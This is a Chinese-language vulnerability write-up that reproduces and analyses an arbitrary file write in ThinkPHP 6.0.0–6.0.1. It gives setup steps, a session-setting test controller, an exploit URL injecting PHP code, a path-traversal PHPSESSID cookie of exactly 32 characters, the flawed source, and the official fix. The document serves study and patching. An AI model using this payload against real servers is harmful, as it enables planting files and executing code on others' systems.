Thinkphp6.0任意文件写入漏洞复现
字数 1190 2025-08-19 12:41:18
ThinkPHP 6.0 任意文件写入漏洞分析与复现
漏洞概述
ThinkPHP 6.0.0 至 6.0.1 版本中存在一个任意文件写入漏洞,攻击者可以通过精心构造的会话ID(PHPSESSID)控制服务器上的文件写入位置和内容,可能导致远程代码执行等严重后果。
影响版本
- ThinkPHP 6.0.0
- ThinkPHP 6.0.1
环境搭建
1. 安装ThinkPHP 6框架
# 安装Composer
curl -sS getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
# 设置国内镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
# 安装ThinkPHP 6
composer create-project topthink/think think6
2. 降级到漏洞版本
编辑项目根目录下的composer.json文件,指定ThinkPHP版本为6.0.1或6.0.0,然后执行:
composer update
3. 启用Session功能
默认情况下ThinkPHP 6不开启Session,需要修改app/middleware.php文件:
<?php
// 全局中间件定义文件
return [
// Session初始化
\think\middleware\SessionInit::class
];
4. 启动开发服务器
php think run
漏洞利用
漏洞利用条件
- 网站使用了Session功能
- 存在可以设置Session变量的接口
漏洞利用步骤
- 修改
app/controller/Index.php添加Session设置功能:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController {
public function index() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
$b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
session($a, $b);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
}
- 构造Payload访问URL:
http://target.com/index.php?a=key&b=<?php phpinfo();?>
- 设置Cookie头:
Cookie: PHPSESSID=../../public/aaaaaaaaaaa.php
- 访问写入的文件:
http://target.com/aaaaaaaaaaa.php
漏洞分析
漏洞根源
漏洞位于vendor/topthink/framework/src/think/session/Store.php文件中,主要问题在于:
-
Session ID验证不足:系统未对PHPSESSID进行严格验证,允许包含特殊字符如
../等路径遍历字符 -
文件命名可控:当PHPSESSID长度为32时,系统不会对其进行MD5处理,直接使用原始值作为文件名
关键代码分析
- Session ID处理流程:
// vendor/topthink/framework/src/think/session/Store.php
public function setId($id)
{
if (strlen($id) != 32) {
$id = md5($id);
}
$this->id = $id;
}
- 文件写入位置:
// vendor/topthink/framework/src/think/session/driver/File.php
protected function getFileName(string $sessID): string
{
return $this->config['path'] . 'sess_' . $sessID;
}
- Session数据写入:
// vendor/topthink/framework/src/think/session/driver/File.php
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID);
return file_put_contents($filename, $sessData) !== false;
}
攻击原理
- 攻击者通过Cookie设置PHPSESSID为
../../public/aaaaaaaaaaa.php(长度为32) - 系统不进行MD5处理,直接使用该值作为文件名
- 通过设置Session变量,将恶意代码写入Session文件
- 最终在public目录下创建了一个PHP文件,内容为攻击者控制的Session数据
官方修复
官方在后续版本中增加了对Session ID的严格验证:
// 修复后的代码
public function setId($id)
{
if (!ctype_alnum($id) || strlen($id) != 32) {
$id = md5($id);
}
$this->id = $id;
}
增加了ctype_alnum()函数检查,确保Session ID只包含字母和数字。
防护建议
- 及时升级到ThinkPHP最新版本
- 如果无法立即升级,可以手动修改
Store.php文件,添加Session ID验证 - 限制Session文件的存储目录权限
- 对用户输入的Session变量进行过滤
总结
该漏洞利用ThinkPHP 6.0.0-6.0.1版本中Session ID验证不足的问题,通过精心构造的PHPSESSID实现任意文件写入。攻击者可以借此在服务器上创建恶意PHP文件,进而实现远程代码执行。开发人员应及时升级框架版本或应用补丁,避免安全风险。